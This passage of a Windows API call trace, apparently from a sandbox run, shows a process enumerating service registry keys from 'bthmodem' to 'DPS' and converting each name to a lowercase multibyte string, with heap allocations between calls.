cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0177.942] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.942] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.942] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.942] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.942] RegEnumKeyW (in: hKey=0x140, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0177.942] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.942] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0177.942] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.942] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.942] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.942] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.942] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0177.942] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.942] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0177.942] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.942] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.942] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.942] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.942] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0177.942] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0177.942] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0177.942] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.942] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.943] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.943] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.943] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0177.943] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0177.943] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0177.943] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.943] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.943] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.943] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.943] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0177.943] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0177.943] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1a00, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0177.943] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0177.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="circlass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="circlass", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="circlass", lpUsedDefaultChar=0x0) returned 8 [0177.943] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0177.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0177.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clfs", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clfs", lpUsedDefaultChar=0x0) returned 4 [0177.943] RegEnumKeyW (in: hKey=0x140, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0177.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_32", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0177.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_32", cchWideChar=30, lpMultiByteStr=0x21f1d18, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v2.0.50727_32", lpUsedDefaultChar=0x0) returned 30 [0177.944] RegEnumKeyW (in: hKey=0x140, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0177.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_64", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0177.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_64", cchWideChar=30, lpMultiByteStr=0x21f1a00, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v2.0.50727_64", lpUsedDefaultChar=0x0) returned 30 [0177.944] RegEnumKeyW (in: hKey=0x140, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0177.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_32", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0177.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_32", cchWideChar=30, lpMultiByteStr=0x21f1d18, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v4.0.30319_32", lpUsedDefaultChar=0x0) returned 30 [0177.944] RegEnumKeyW (in: hKey=0x140, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0177.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_64", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0177.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_64", cchWideChar=30, lpMultiByteStr=0x21f1a00, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v4.0.30319_64", lpUsedDefaultChar=0x0) returned 30 [0177.944] RegEnumKeyW (in: hKey=0x140, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0177.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmbatt", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmbatt", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmbatt", lpUsedDefaultChar=0x0) returned 6 [0177.944] RegEnumKeyW (in: hKey=0x140, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0177.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmdide", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmdide", lpUsedDefaultChar=0x0) returned 6 [0177.944] RegEnumKeyW (in: hKey=0x140, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0177.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0177.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cng", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cng", lpUsedDefaultChar=0x0) returned 3 [0177.944] RegEnumKeyW (in: hKey=0x140, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0177.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compbatt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compbatt", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="compbatt", lpUsedDefaultChar=0x0) returned 8 [0177.945] RegEnumKeyW (in: hKey=0x140, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0177.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compositebus", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0177.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compositebus", cchWideChar=12, lpMultiByteStr=0x21f1d18, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="compositebus", lpUsedDefaultChar=0x0) returned 12 [0177.945] RegEnumKeyW (in: hKey=0x140, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0177.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comsysapp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0177.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comsysapp", cchWideChar=9, lpMultiByteStr=0x21f1a00, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="comsysapp", lpUsedDefaultChar=0x0) returned 9 [0177.945] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0177.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crcdisk", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crcdisk", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crcdisk", lpUsedDefaultChar=0x0) returned 7 [0177.945] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0177.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crypt32", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crypt32", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crypt32", lpUsedDefaultChar=0x0) returned 7 [0177.945] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0177.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptsvc", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptsvc", lpUsedDefaultChar=0x0) returned 8 [0177.945] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0177.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0177.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csc", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="csc", lpUsedDefaultChar=0x0) returned 3 [0177.946] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0177.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cscservice", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0177.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cscservice", cchWideChar=10, lpMultiByteStr=0x21f1d18, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cscservice", lpUsedDefaultChar=0x0) returned 10 [0177.946] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0177.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dclocator", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0177.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dclocator", cchWideChar=9, lpMultiByteStr=0x21f1a00, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dclocator", lpUsedDefaultChar=0x0) returned 9 [0177.946] RegEnumKeyW (in: hKey=0x140, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0177.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dcomlaunch", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0177.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dcomlaunch", cchWideChar=10, lpMultiByteStr=0x21f1d18, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dcomlaunch", lpUsedDefaultChar=0x0) returned 10 [0177.946] RegEnumKeyW (in: hKey=0x140, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0177.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="defragsvc", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0177.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="defragsvc", cchWideChar=9, lpMultiByteStr=0x21f1a00, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="defragsvc", lpUsedDefaultChar=0x0) returned 9 [0177.946] RegEnumKeyW (in: hKey=0x140, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0177.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfsc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0177.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfsc", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfsc", lpUsedDefaultChar=0x0) returned 4 [0177.946] RegEnumKeyW (in: hKey=0x140, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0177.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dhcp", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0177.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dhcp", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dhcp", lpUsedDefaultChar=0x0) returned 4 [0177.947] RegEnumKeyW (in: hKey=0x140, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0177.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagtrack", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0177.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagtrack", cchWideChar=9, lpMultiByteStr=0x21f1d18, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diagtrack", lpUsedDefaultChar=0x0) returned 9 [0177.947] RegEnumKeyW (in: hKey=0x140, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0177.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discache", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="discache", lpUsedDefaultChar=0x0) returned 8 [0177.947] RegEnumKeyW (in: hKey=0x140, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0177.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="disk", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0177.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="disk", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="disk", lpUsedDefaultChar=0x0) returned 4 [0177.947] RegEnumKeyW (in: hKey=0x140, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0177.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dmvsc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0177.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dmvsc", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dmvsc", lpUsedDefaultChar=0x0) returned 5 [0177.947] RegEnumKeyW (in: hKey=0x140, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0177.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dnscache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dnscache", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dnscache", lpUsedDefaultChar=0x0) returned 8 [0177.947] RegEnumKeyW (in: hKey=0x140, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0177.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dot3svc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dot3svc", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dot3svc", lpUsedDefaultChar=0x0) returned 7 [0177.948] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0177.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dps", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0177.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dps", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dps", lpUsedDefaultChar=0x0) returned 3 [0177.948] 